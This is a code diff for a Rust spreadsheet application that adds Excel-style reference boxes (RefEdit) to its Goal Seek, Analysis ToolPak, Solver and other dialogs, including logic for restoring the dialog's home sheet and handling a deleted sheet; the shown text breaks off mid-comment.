b/crates/math/tests/gate.rs index 1b7d7c7f0..88ecc764c 100644 --- a/crates/math/tests/gate.rs +++ b/crates/math/tests/gate.rs @@ -489,7 +489,8 @@ fn pathological_source_at_the_cap_finishes_in_bounded_time() { fill("\\pu{", "10^", "}"), fill("\\pu{", "kJ//", "}"), ]; - let bound = Duration::from_secs(10); + // A CI regression threshold with headroom for shared-runner variance, not a runtime deadline. + let bound = Duration::from_secs(15); let mut slow = Vec::new(); for s in &sources { let start = Instant::now(); diff --git a/crates/ui-egui/examples/snapshot.rs b/crates/ui-egui/examples/snapshot.rs index 6c5dcaaa7..5474ddc84 100644 --- a/crates/ui-egui/examples/snapshot.rs +++ b/crates/ui-egui/examples/snapshot.rs @@ -2,7 +2,10 @@ //! //! `cargo run --release -p gridcraft-ui-egui --example snapshot -- [--sample sales] [--in file.xlsx] //! [--size 1440x900] [--scale 2] [--cmd 'id={json}']... [--tab Insert] [--dark] [--language en|es|zh|ja|ko|ru|pt|de|cs|fr|tr] -//! [--pane name] [--object id] [--dialog 'name={json}'] [--hf-edit header|footer] out.png` +//! [--pane name] [--object id] [--dialog 'name={json}'] [--refedit key=A1:B2] [--hf-edit header|footer] out.png` +//! +//! `--refedit key=range` collapses the open dialog to its reference box `key`, then selects +//! `range` on the grid, as a person picking a range for that box does. use gridcraft_engine::Session; use gridcraft_ui_egui::SheetApp; @@ -22,6 +25,7 @@ fn main() { let mut dialog: Option = None; let mut language: Option = None; let mut hf_edit: Option = None; + let mut refedit: Option = None; let mut out = "snapshot.png".to_string(); let mut i = 0; while i < args.len() { @@ -68,6 +72,10 @@ fn main() { i += 1; dialog = args.get(i).cloned(); } + "--refedit" => { + i += 1; + refedit = args.get(i).cloned(); + } "--hf-edit" => { i += 1; hf_edit = args.get(i).cloned(); @@ -134,6 +142,15 @@ fn main() { // The workbook's installed fonts bind once the font scan is done; frames past the first few // apply them, so the snapshot shows them as the app does. harness.run_steps(14); + if let Some((key, range)) = refedit.as_deref().and_then(|r| r.split_once('=')) { + let app = harness.state_mut(); + if let Some(mut d) = app.dialog.take() { + d.collapse_to(app, key); + app.dialog = Some(d); + } + app.session.execute("selection.set", json!({"range": range})).expect("select"); + harness.run_steps(8); + } let img = harness.render().expect("render"); img.save(&out).expect("save png"); eprintln!("wrote {out} ({}x{})", img.width(), img.height()); diff --git a/crates/ui-egui/src/app/commands.rs b/crates/ui-egui/src/app/commands.rs index a2f47c67f..86a4a6cc5 100644 --- a/crates/ui-egui/src/app/commands.rs +++ b/crates/ui-egui/src/app/commands.rs @@ -312,8 +312,12 @@ impl SheetApp { } /// Whether the active sheet of the active document is protected (drives the Protect/Unprotect - /// Sheet labels and actions). + /// Sheet labels and actions). While a dialog's reference boxes have picked, it is the dialog's + /// own sheet: Protect Sheet ends the pick and acts on that sheet, so the label says so too. pub fn active_sheet_protected(&self) -> bool { + if let Some(protected) = self.dialog.as_ref().and_then(|d| d.home_sheet_protected(self)) { + return protected; + } self.session.active().and_then(|d| d.wb.active().map(|s| s.is_protected())).unwrap_or(false) } @@ -322,6 +326,20 @@ impl SheetApp { self.message = Some(("Text Box".into(), clean_error(&e))); return; } + // A protection action taken while a reference box picks on another sheet is for the + // dialog's sheet: the pick ends, showing that sheet again, before the action is chosen. + if matches!(name, "protectSheet" | "unprotectSheet") + && let Some(mut d) = self.dialog.take() + { + let error = + if d.home_sheet_deleted(self) { Some(dialogs::SHEET_DELETED.into()) } else { d.end_pick(self).err().map(|e| clean_error(&e)) }; + if let Some(error) = error { + self.message = Some((d.title.clone(), error)); + self.dialog = Some(d); + return; + } + self.dialog = Some(d); + } // Every Protect Sheet entry point (ribbon menus, keytips, tab menu) becomes Unprotect Sheet // on a protected sheet. A sheet without a password is unprotected straight away. let name = if name == "protectSheet" && self.active_sheet_protected() { "unprotectSheet" } else { name }; @@ -376,7 +394,16 @@ impl SheetApp { "Close the macro step editor first: it keeps its window until it closes itself, so its steps and debug run are not lost.".into(), )); } - other => self.dialog = dialogs::Dialog::open(self, other, params), + other => { + // A dialog replaced while one of its reference boxes picks (a ribbon command + // opening another dialog) first puts the sheet and selection from before picking + // back, as closing it does. + if let Some(mut old) = self.dialog.take() { + // The draft was committed above, so the sheet can be shown again. + let _ = old.end_pick(self); + } + self.dialog = dialogs::Dialog::open(self, other, params); + } } } diff --git a/crates/ui-egui/src/control.rs b/crates/ui-egui/src/control.rs index 3a29f6d1b..2d46b21b8 100644 --- a/crates/ui-egui/src/control.rs +++ b/crates/ui-egui/src/control.rs @@ -180,6 +180,34 @@ fn editor_json(app: &SheetApp, e: &crate::editor::EditState) -> Json { json!({"cell": e.cell.a1(), "text": text, "hidden": hidden, "formulaBar": e.from_formula_bar, "point": e.can_point(), "python": e.python}) } +/// `ui.dialog.cancel`: closes the open dialog as its Cancel button does, going back to the sheet +/// and selection from before a reference box picked. +fn dialog_cancel(app: &mut SheetApp) -> Outcome { + // The macro step editor's draft, overlays and debug run go with its own close. + if app.dialog.as_ref().is_some_and(|d| d.name == "macroEditor") { + return match crate::macro_editor::close_now(app) { + Ok(()) => ok(Json::Null), + Err(e) => err(e), + }; + } + // Back to the sheet and selection from before a reference box picked, as Cancel does. + // When the dialog's sheet can't be shown again (a text-box draft on the picked sheet + // could not be saved), the dialog stays and the script gets the reason; the window's + // Cancel closes it and shows the reason, since a person can see the message. + // A dialog whose own sheet was deleted (found by identity, so a new sheet given its + // name does not count) replies `{"sheetDeleted": true}`: the sheet shown is not the + // dialog's, and a script stops before running the dialog's command itself. + let mut deleted = false; + if let Some(mut d) = app.dialog.take() { + deleted = d.home_sheet_deleted(app); + if let Err(e) = d.end_pick(app) { + app.dialog = Some(d); + return err(e); + } + } + ok(if deleted { json!({"sheetDeleted": true}) } else { Json::Null }) +} + /// `ui.object.select {id?, kind?}`: selects the object with that id on the active sheet (its kind /// is found from the id when left out, and must match when given); no `id` clears the selection. /// Replies with the object and its rect in window points, for `ui.click` and `ui.drag`. @@ -309,8 +337,21 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) - None => err("no dialog is open"), }, "ui.dialog.confirm" => match app.dialog.take() { - Some(d) => match d.command { + Some(mut d) => match d.command { Some(cmd) => { + // References without a sheet name mean the sheet the dialog was opened on, + // as OK in the window has it: refused once that sheet is deleted, else shown + // again before the command runs. + if d.home_sheet_deleted(app) { + app.dialog = Some(d); + return err(crate::dialogs::SHEET_DELETED); + } + if let Err(e) = d.end_pick(app) { + // The dialog's sheet can't be shown again (a text-box draft on the picked + // sheet could not be saved): the command stays unrun, the dialog open. + app.dialog = Some(d); + return err(e); + } let params = crate::dialogs::build_params(&d); let home = app.ui_window(); let r = app.run(cmd, params); @@ -326,17 +367,7 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) - }, None => err("no dialog is open"), }, - "ui.dialog.cancel" => { - // The macro step editor's draft, overlays and debug run go with its own close. - if app.dialog.as_ref().is_some_and(|d| d.name == "macroEditor") { - return match crate::macro_editor::close_now(app) { - Ok(()) => ok(Json::Null), - Err(e) => err(e), - }; - } - app.dialog = None; - ok(Json::Null) - } + "ui.dialog.cancel" => dialog_cancel(app), "ui.object.select" => select_object(app, p), "ui.message.dismiss" => { app.message = None; diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index 71c68249b..33be245a5 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -24,6 +24,7 @@ mod format_cells; mod insert_function; mod names; mod paste; +mod ref_edit; mod show; mod spelling; mod zoom; @@ -34,13 +35,17 @@ use data::{abs, data_validation_fields, remove_duplicates_range, validation_defa use find::go_to_entries; pub(crate) use names::insert_name; use names::pasteable_names; +pub(crate) use ref_edit::SHEET_DELETED; pub(crate) use show::build_params; pub use show::show; use zoom::zoom_preset; +/// A form field. `Ref` is a range reference that can also be picked by selecting on the grid +/// (a RefEdit box). #[derive(Clone, Debug, PartialEq)] pub enum Field { Text { key: &'static str, label: &'static str }, + Ref { key: &'static str, label: &'static str }, Password { key: &'static str, label: &'static str }, Number { key: &'static str, label: &'static str }, Choice { key: &'static str, label: &'static str, options: Vec<(&'static str, &'static str)> }, @@ -74,6 +79,8 @@ pub struct Dialog { pick: Option, /// The linked cell's initial display text; unchanged text must not replace a number or formula. original_link_text: Option, + /// The state of the dialog's reference boxes (RefEdit). + refs: ref_edit::RefBoxes, } /// A formula box in point mode, as in Excel: a click on the grid writes the cell's absolute @@ -127,6 +134,39 @@ impl Dialog { self.values.insert(key.into(), value); } + /// The reference box the dialog is collapsed to, if any. + pub fn collapsed(&self) -> Option<&str> { + self.refs.collapsed.as_deref() + } + + /// Collapses the dialog to its reference box `key` and starts picking into it, as the box's + /// collapse button does. + pub fn collapse_to(&mut self, app: &SheetApp, key: &str) { + ref_edit::begin_pick(app, self, key); + self.refs.collapsed = Some(key.to_string()); + } + + /// Ends picking into the dialog's reference boxes and puts back the sheet and selection from + /// before picking began, as closing the dialog does. Fails when the dialog's sheet could not + /// be shown again (a text-box draft on the picked sheet could not be saved): a dialog about + /// to run its command must then stay open instead. + pub(crate) fn end_pick(&mut self, app: &mut SheetApp) -> Result<(), String> { + ref_edit::end_pick(app, self) + } + + /// Whether the dialog's own sheet is protected, once its reference boxes have picked and while + /// that sheet exists (the sheet [`Self::end_pick`] shows again); `None` otherwise. + pub(crate) fn home_sheet_protected(&self, app: &SheetApp) -> Option { + ref_edit::home_sheet_protected(app, self) + } + + /// Whether the sheet the dialog was opened on was deleted while its reference boxes picked: + /// OK is then refused with [`SHEET_DELETED`], since references without a sheet name have + /// nothing to refer to. + pub(crate) fn home_sheet_deleted(&mut self, app: &SheetApp) -> bool { + ref_edit::home_sheet_deleted(app, self) + } + /// Whether a click on the grid goes to a formula box of this dialog rather than the selection. pub fn picks_references(&self) -> bool { self.pick.is_some() @@ -187,6 +227,7 @@ impl Dialog { focus_initialized: false, pick: None, original_link_text: None, + refs: ref_edit::RefBoxes::default(), } } @@ -210,6 +251,7 @@ impl Dialog { focus_initialized: false, pick: None, original_link_text: None, + refs: ref_edit::RefBoxes::default(), } } diff --git a/crates/ui-egui/src/dialogs/analysis.rs b/crates/ui-egui/src/dialogs/analysis.rs index 2ead47af8..df1d62c67 100644 --- a/crates/ui-egui/src/dialogs/analysis.rs +++ b/crates/ui-egui/src/dialogs/analysis.rs @@ -1,34 +1,43 @@ +use super::ref_edit::{RefLabel, SHEET_DELETED, end_pick, home_sheet_deleted, ref_edit}; use super::show::{build_params, form_fields, ok_cancel}; use super::{Dialog, Field, Json, Map, SheetApp, json, vec2}; -pub(super) fn goal_seek(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool) { - let get = |k: &str| d.values.get(k).and_then(Json::as_str).unwrap_or("").to_string(); - let (mut set, mut to, mut changing) = (get("set"), get("to"), get("changing")); +/// Data › What-If Analysis › Goal Seek. OK runs `data.goalSeek` here; Cancel clears `open`, as +/// the shared buttons do, so cancelling is never taken for a confirmation. +pub(super) fn goal_seek(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { egui::Grid::new("gs").show(ui, |ui| { - ui.label("Set cell:"); - ui.text_edit_singleline(&mut set); + let l = ui.label("Set cell:"); + ref_edit(app, ui, d, "set", RefLabel::By(l.id), 200.0); ui.end_row(); - ui.label("To value:"); - ui.text_edit_singleline(&mut to); + let l = ui.label("To value:"); + let mut to = d.values.get("to").and_then(Json::as_str).unwrap_or("").to_string(); + if ui.add(egui::TextEdit::singleline(&mut to).desired_width(170.0)).labelled_by(l.id).changed() { + d.values.insert("to".into(), json!(to)); + } ui.end_row(); - ui.label("By changing cell:"); - ui.text_edit_singleline(&mut changing); + let l = ui.label("By changing cell:"); + ref_edit(app, ui, d, "changing", RefLabel::By(l.id), 200.0); ui.end_row(); }); - d.values.insert("set".into(), json!(set.clone())); - d.values.insert("to".into(), json!(to.clone())); - d.values.insert("changing".into(), json!(changing.clone())); - let mut open = true; - ok_cancel(ui, confirm, &mut open); + let get = |k: &str| d.values.get(k).and_then(Json::as_str).unwrap_or("").to_string(); + let (set, to, changing) = (get("set"), get("to"), get("changing")); + ok_cancel(ui, confirm, open); + if *confirm && home_sheet_deleted(app, d) { + app.message = Some((d.title.clone(), SHEET_DELETED.into())); + *confirm = false; + } + if *confirm && let Err(e) = end_pick(app, d) { + // The dialog's sheet can't be shown again (a draft on the picked sheet could not be + // saved): the cells would be read against the wrong sheet, so Goal Seek doesn't run. + app.message = Some((d.title.clone(), crate::clean_error(&e))); + *confirm = false; + } if *confirm { match app.run("data.goalSeek", json!({"set": set, "to": to.parse::().unwrap_or(0.0), "changing": changing})) { Ok(r) => app.toast = Some((format!("Goal Seeking found a solution: {}", r["value"]), crate::now_ms())), Err(e) => app.message = Some(("Goal Seek".into(), crate::clean_error(&e))), } } - if !open { - *confirm = true; - } } /// The fields of one Analysis ToolPak tool's form (input and options; output is drawn apart). @@ -36,8 +45,8 @@ fn toolpak_fields(tool: &str, values: &Map) -> Vec { use Field::*; let grouped = || Choice { key: "groupedBy", label: "Grouped By:", options: vec![("columns", "Columns"), ("rows", "Rows")] }; let labels = || Check { key: "labels", label: "Labels in first row" }; - let range = || Text { key: "range", label: "Input Range:" }; - let two = || vec![Text { key: "range1", label: "Variable 1 Range:" }, Text { key: "range2", label: "Variable 2 Range:" }]; + let range = || Ref { key: "range", label: "Input Range:" }; + let two = || vec![Ref { key: "range1", label: "Variable 1 Range:" }, Ref { key: "range2", label: "Variable 2 Range:" }]; match tool { "descriptive" => vec![ range(), @@ -50,7 +59,7 @@ fn toolpak_fields(tool: &str, values: &Map) -> Vec { ], "histogram" => vec![ range(), - Text { key: "bins", label: "Bin Range (blank for automatic bins):" }, + Ref { key: "bins", label: "Bin Range (blank for automatic bins):" }, labels(), Check { key: "pareto", label: "Pareto (sorted histogram)" }, Check { key: "cumulative", label: "Cumulative Percentage" }, @@ -69,8 +78,8 @@ fn toolpak_fields(tool: &str, values: &Map) -> Vec { Text { key: "alpha", label: "Alpha:" }, ], "regression" => vec![ - Text { key: "inputY", label: "Input Y Range:" }, - Text { key: "inputX", label: "Input X Range:" }, + Ref { key: "inputY", label: "Input Y Range:" }, + Ref { key: "inputX", label: "Input X Range:" }, labels(), Check { key: "constantZero", label: "Constant is Zero" }, Text { key: "confidence", label: "Confidence Level (%):" }, @@ -262,19 +271,36 @@ pub(super) fn analysis_toolpak(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Di // The tool's options scroll in a short window (the patterned Random Number Generation form // is taller than 600 points); the output options and OK below always stay in view. let room = (ui.ctx().content_rect().height() - TOOLPAK_CHROME).max(120.0); - egui::ScrollArea::vertical().id_salt("toolpakForm").max_height(room).show(ui, |ui| form_fields(ui, d)); + egui::ScrollArea::vertical().id_salt("toolpakForm").max_height(room).show(ui, |ui| form_fields(app, ui, d)); ui.separator(); ui.label(egui::RichText::new("Output options").strong()); let to = d.values.get("outputTo").and_then(Json::as_str).unwrap_or("newSheet").to_string(); for (key, choice, text_label) in [("output", "range", "Output Range:"), ("newSheet", "newSheet", "New Worksheet Ply:")] { ui.horizontal(|ui| { - if ui.radio(to == choice, text_label).clicked() { + let r = ui.radio(to == choice, text_label); + if r.clicked() { d.values.insert("outputTo".into(), json!(choice)); + // Another output option ends picking into Output Range, so a later selection on + // the grid doesn't choose it again. + if key != "output" && d.refs.target.as_deref() == Some("output") { + d.refs.target = None; + } } - let mut t = d.values.get(key).and_then(Json::as_str).unwrap_or("").to_string(); - if ui.add(egui::TextEdit::singleline(&mut t).desired_width(160.0)).changed() { - d.values.insert(key.into(), json!(t)); - d.values.insert("outputTo".into(), json!(choice)); + if key == "output" { + let before = d.values.get(key).cloned(); + let was_target = d.refs.target.as_deref() == Some(key); + ref_edit(app, ui, d, key, RefLabel::By(r.id), 190.0); + // Clicking into the box, typing or picking an output range chooses it; only a + // change does, so an option chosen later stays chosen. + if d.refs.target.as_deref() == Some(key) && (!was_target || d.values.get(key) != before.as_ref()) { + d.values.insert("outputTo".into(), json!(choice)); + } + } else { + let mut t = d.values.get(key).and_then(Json::as_str).unwrap_or("").to_string(); + if ui.add(egui::TextEdit::singleline(&mut t).desired_width(160.0)).changed() { + d.values.insert(key.into(), json!(t)); + d.values.insert("outputTo".into(), json!(choice)); + } } }); } @@ -377,6 +403,23 @@ fn clear_solver_options(d: &mut Dialog) { d.values.remove("requireBounds"); } +/// Before one of Solver's commands other than Solve runs from the form (Reset All, Load, Save, +/// Replace): the dialog's sheet must be there and shown again, as `dialogs::show` requires for +/// Solve, since the commands act on the active sheet and read references without a sheet name +/// against it. Shows the reason and answers `false` when the command must not run: the sheet +/// was deleted, or it cannot be shown again (a draft on the picked sheet could not be saved). +fn at_home(app: &mut SheetApp, d: &mut Dialog) -> bool { + if home_sheet_deleted(app, d) { + app.message = Some((d.title.clone(), SHEET_DELETED.into())); + return false; + } + if let Err(e) = end_pick(app, d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + return false; + } + true +} + /// Save Model from the Solver Parameters form: writes the form's model down from `range`. A /// range that holds data is replaced only with `overwrite`; without it the form asks first. fn save_solver_model(app: &mut SheetApp, d: &mut Dialog, range: &str, overwrite: bool) { @@ -410,8 +453,8 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf return; } ui.horizontal(|ui| { - ui.label("Set Objective:"); - edit(ui, d, "objective", 200.0, "Set Objective:"); + let l = ui.label("Set Objective:"); + ref_edit(app, ui, d, "objective", RefLabel::By(l.id), 230.0); }); let goal = text(d, "goal"); ui.horizontal(|ui| { @@ -423,8 +466,8 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf } edit(ui, d, "value", 80.0, "Value Of:"); }); - ui.label("By Changing Variable Cells:"); - edit(ui, d, "variables", 420.0, "By Changing Variable Cells:"); + let l = ui.label("By Changing Variable Cells:"); + ref_edit(app, ui, d, "variables", RefLabel::By(l.id), 420.0); ui.label("Subject to the Constraints:"); let list: Vec = d .values @@ -443,7 +486,7 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf }); }); ui.horizontal(|ui| { - edit(ui, d, "newLhs", 110.0, "Constraint Cell Reference"); + ref_edit(app, ui, d, "newLhs", RefLabel::Named("Constraint Cell Reference"), 130.0); let op = text(d, "newOp"); craft_ui::ComboBox::from_id_salt("solverOp") .selected_text(op.clone()) @@ -458,7 +501,7 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf .response .accessible_name(lang.tr("Constraint Operator")); if !matches!(op.as_str(), "int" | "bin") { - edit(ui, d, "newRhs", 110.0, "Constraint Value"); + ref_edit(app, ui, d, "newRhs", RefLabel::Named("Constraint Value"), 130.0); } if ui.button("Add").clicked() { let lhs = text(d, "newLhs"); @@ -513,7 +556,7 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf ); ui.add_space(4.0); ui.horizontal(|ui| { - if ui.button("Reset All").clicked() { + if ui.button("Reset All").clicked() && at_home(app, d) { match app.run("data.solverReset", json!({})) { Ok(_) => { for (k, v) in [ @@ -539,6 +582,8 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf } } let shown = d.values.get("modelArea").and_then(Json::as_bool).unwrap_or(false); + // Hiding the area ends picking into Model Range, as a box that is not drawn is no longer + // picked into (`ref_edit::window_shown`). if ui.selectable_label(shown, "Load/Save").clicked() { d.values.insert("modelArea".into(), json!(!shown)); } @@ -548,11 +593,11 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf }); if d.values.get("modelArea").and_then(Json::as_bool) == Some(true) { ui.horizontal(|ui| { - ui.label("Model Range:"); - edit(ui, d, "modelRange", 140.0, "Model Range:"); + let l = ui.label("Model Range:"); + ref_edit(app, ui, d, "modelRange", RefLabel::By(l.id), 170.0); let range = text(d, "modelRange"); let ready = !range.trim().is_empty(); - if ui.add_enabled(ready, egui::Button::new("Load")).clicked() { + if ui.add_enabled(ready, egui::Button::new("Load")).clicked() && at_home(app, d) { d.values.remove("askModelOverwrite"); match app.run("data.solverLoadModel", json!({"from": range.trim()})) { Ok(r) => { @@ -570,7 +615,7 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf } } } - if ui.add_enabled(ready, egui::Button::new("Save")).clicked() { + if ui.add_enabled(ready, egui::Button::new("Save")).clicked() && at_home(app, d) { save_solver_model(app, d, &range, false); } }); @@ -583,7 +628,7 @@ pub(super) fn solver(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, conf } else if let Some(asked) = asked { ui.horizontal_wrapped(|ui| { ui.label(format!("{asked} already holds data. Replace it with the model?")); - if ui.button("Replace").clicked() { + if ui.button("Replace").clicked() && at_home(app, d) { save_solver_model(app, d, &asked, true); } if ui.button("Don't Replace").clicked() { diff --git a/crates/ui-egui/src/dialogs/data.rs b/crates/ui-egui/src/dialogs/data.rs index ec5eabfc1..e3eabda79 100644 --- a/crates/ui-egui/src/dialogs/data.rs +++ b/crates/ui-egui/src/dialogs/data.rs @@ -150,15 +150,15 @@ pub(super) fn data_validation_fields(kind: &str, operator: &str) -> Vec { fields } -pub(super) fn data_validation_form(ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { +pub(super) fn data_validation_form(app: &SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { let kind = d.values.get("type").and_then(Json::as_str).unwrap_or("any"); let operator = d.values.get("operator").and_then(Json::as_str).unwrap_or("between"); d.fields = data_validation_fields(kind, operator); - form_fields(ui, d); + form_fields(app, ui, d); ok_cancel(ui, confirm, open); } -pub(super) fn advanced_filter_form(ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { +pub(super) fn advanced_filter_form(app: &SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { use Field::*; let copy = d.values.get("action").and_then(Json::as_str) == Some("copy"); d.fields = vec![ @@ -174,7 +174,7 @@ pub(super) fn advanced_filter_form(ui: &mut egui::Ui, d: &mut Dialog, confirm: & d.fields.push(Text { key: "copyTo", label: "Copy to:" }); } d.fields.push(Check { key: "unique", label: "Unique rows only" }); - form_fields(ui, d); + form_fields(app, ui, d); // Constrain the button row: the shared right-to-left layout otherwise // consumes the window's remaining height instead of fitting the buttons. ui.allocate_ui(vec2(ui.available_width(), ui.spacing().interact_size.y + 8.0), |ui| ok_cancel(ui, confirm, open)); diff --git a/crates/ui-egui/src/dialogs/ref_edit.rs b/crates/ui-egui/src/dialogs/ref_edit.rs new file mode 100644 index 000000000..8cd3009a2 --- /dev/null +++ b/crates/ui-egui/src/dialogs/ref_edit.rs @@ -0,0 +1,486 @@ +//! Reference boxes (Excel's RefEdit): text fields that take a range by selection on the grid, with +//! a button that collapses the dialog to the box while the person selects. + +use gridcraft_engine::model::{Sheet, SheetUid, Workbook}; + +use super::data::abs; +use super::{Dialog, Icon, Json, SheetApp, json, theme, vec2}; + +/// What a dialog's reference boxes are doing: which one grid selections fill, and whether the +/// dialog is collapsed to one of them. +#[derive(Clone, Debug, Default)] +pub(super) struct RefBoxes { + /// The reference box that grid selections are written into. + pub(super) target: Option, + /// The selection last written into the target (or present when picking began); only a + /// different selection replaces what the box holds. + seen: String, + /// The sheet shown when `seen` was taken: changing sheets only refreshes `seen`, since the + /// other sheet's own selection is not a pick. + seen_sheet: String, + /// The dialog's own sheet, from the first pick until the dialog closes, and the selection to + /// put back when it runs its command or closes. + home: Option, + /// The target took a selection from the grid and takes the keyboard back once the pointer + /// is released, so typing still edits the box. + refocus: bool, + /// The target box was drawn this frame. A box the dialog stops showing (another view of the + /// dialog, a hidden area, a constraint operator that takes no value) is no longer picked + /// into, so a selection made meanwhile does not land in it once it is shown again (see + /// [`window_shown`]). + target_drawn: bool, + /// The reference box the dialog is collapsed to. + pub(super) collapsed: Option, + /// Where the expanded dialog was last drawn: the collapsed dialog keeps its top-left corner, + /// and the expanded one comes back where it was. + rect: Option, + /// The dialog was drawn collapsed last frame. + was_collapsed: bool, + /// A text field other than the collapsed box (the Name Box, say) owned the keyboard when + /// the last frame ended: its keys are its own, not the collapsed picker's (see + /// [`place_window`]). Kept from the frame before because egui drops the focus for Escape + /// before anything is drawn, so the frame of the Escape no longer says who had it. + other_field: bool, +} + +/// Where picking began: the dialog's own sheet, kept for as long as the dialog is open (a failed +/// OK leaves it open, and a later OK still needs to know whether that sheet is there), and the +/// selection to put back once. +#[derive(Clone, Debug)] +struct Home { + /// The sheet's identity while the app runs ([`SheetUid`]): fresh for every sheet added, + /// inserted, copied or read, and kept through renames, moves, undo and redo. The sheet is + /// found by it whatever happened meanwhile ([`home_sheet`]): a sheet given its name or a + /// copy of it is never taken for it, and an undo that brings it back makes it the dialog's + /// again. + uid: SheetUid, + /// The ranges and active cell from before picking began on the dialog's sheet, put back once + /// when the dialog runs its command or closes. + selection: Option<(String, String)>, +} + +/// The dialog's own sheet in `wb`, or `None` once it was deleted. +fn home_sheet<'a>(wb: &'a Workbook, home: &Home) -> Option<&'a Sheet> { + wb.sheets.iter().map(|s| &**s).find(|s| s.uid.get() == home.uid.get()) +} + +/// Whether the dialog's own sheet is protected, once its reference boxes have picked and while +/// that sheet exists: the sheet [`end_pick`] shows again. `None` otherwise. +pub(super) fn home_sheet_protected(app: &SheetApp, d: &Dialog) -> Option { + let home = d.refs.home.as_ref()?; + app.session.active().and_then(|doc| home_sheet(&doc.wb, home)).map(Sheet::is_protected) +} + +/// The message OK shows once the dialog's own sheet is gone. +pub(crate) const SHEET_DELETED: &str = + "The sheet this dialog was opened on was deleted. Cancel, then open the dialog again on the sheet it should use."; + +/// Whether the sheet the dialog was opened on has been deleted while it picked: its references +/// without a sheet name have nothing to refer to, so OK is refused with [`SHEET_DELETED`]. +pub(super) fn home_sheet_deleted(app: &SheetApp, d: &mut Dialog) -> bool { + d.refs.home.as_ref().is_some_and(|h| app.session.active().is_none_or(|doc| home_sheet(&doc.wb, h).is_none())) +} + +/// How a reference box is named for screen readers. +#[derive(Clone, Copy)] +pub(super) enum RefLabel<'a> { + /// By the label drawn beside it. + By(egui::Id), + /// By an English name, translated (a box without a label of its own). + Named(&'a str), +} + +/// The egui id of the reference box `key`, the same wherever the box is drawn. +fn ref_edit_id(key: &str) -> egui::Id { + egui::Id::unique("gridcraft.ref_edit").with(key) +} + +/// Whether the reference box `key` of dialog `dialog` takes several areas joined by commas. +/// Solver's variable cells do; every other box takes one cell or range, which its command parses +/// as a single reference. +fn takes_several_areas(dialog: &str, key: &str) -> bool { + dialog == "solver" && key == "variables" +} + +/// The grid selection as a reference, with the sheet name when the selection is on another sheet +/// than the one the dialog was opened on: every area joined by commas when `several`, otherwise +/// only the area being selected (the last one). +fn selection_ref(app: &SheetApp, home: Option<&Home>, several: bool) -> String { + let Some(doc) = app.session.active() else { return String::new() }; + let current = [doc.selection.current()]; + let areas = if several { doc.selection.ranges.as_slice() } else { ¤t[..] }.iter().map(abs); + match doc.wb.active() { + // Once the dialog's own sheet is deleted, every reference carries its sheet's name. + Some(sh) if home.is_some_and(|h| h.uid.get() != sh.uid.get()) => { + let sheet = gridcraft_engine::formula::quote_sheet(&sh.name); + areas.map(|a| format!("{sheet}!{a}")).collect::>().join(",") + } + _ => areas.collect::>().join(","), + } +} + +/// Places the dialog's window before it is drawn, and returns the reference box the dialog is +/// collapsed to. Escape or Enter expands a collapsed dialog again, rather than closing it or +/// pressing OK, and the arrow keys select on the grid, unless another text field (the Name Box) +/// owns the keyboard: its keys stay its own, as they were before the dialog collapsed. +/// Collapsed, the dialog shrinks to the box where its top-left corner was, leaving the sheet +/// free for selecting; expanded again, it comes back where it was. +pub(super) fn place_window<'a>( + app: &mut SheetApp, + ctx: &egui::Context, + d: &mut Dialog, + window: egui::Window<'a>, + window_id: egui::Id, +) -> (egui::Window<'a>, Option) { + if let Some(key) = d.refs.collapsed.as_deref() { + let other_field = d.refs.other_field || other_field_focused(ctx, key); + // Escape and Enter are used up either way: left in the frame's input, the dialog would + // read them as its own and close or confirm. When another field owned them, that field + // (drawn before the dialogs) has read them already, and nothing more happens here. + if ctx.input_mut(|i| i.consume_key(egui::Modifiers::NONE, egui::Key::Escape) | i.consume_key(egui::Modifiers::NONE, egui::Key::Enter)) { + if !other_field { + d.refs.collapsed = None; + } + } else if !other_field { + arrows_move_selection(app, ctx); + } + } + let collapsed = d.refs.collapsed.clone(); + if collapsed.is_none() + && d.refs.was_collapsed + && let Some(rect) = d.refs.rect + && let Some(mut state) = egui::AreaState::load(ctx, window_id) + { + // The window's stored position wins over `current_pos` for a window moved by its title + // bar, so the expanded position is written into its state. + state.pivot = egui::Align2::CENTER_CENTER; + state.pivot_pos = Some(rect.center()); + ctx.memory_mut(|m| m.areas_mut().set_state(egui::LayerId::new(egui::Order::Middle, window_id), state)); + } + let window = match (&collapsed, d.refs.rect) { + (Some(_), Some(rect)) => window.pivot(egui::Align2::LEFT_TOP).fixed_pos(rect.min), + _ => window, + }; + (window, collapsed) +} + +/// Whether a text field other than the reference box `key` has the keyboard. +fn other_field_focused(ctx: &egui::Context, key: &str) -> bool { + ctx.text_edit_focused() && ctx.memory(|m| m.focused()) != Some(ref_edit_id(key)) +} + +/// While the dialog is collapsed, the arrow keys move the selection on the grid, Shift+arrow +/// extends it and Ctrl+arrow (Cmd on a Mac) jumps to the edge of the data, as they do with no +/// dialog open: the 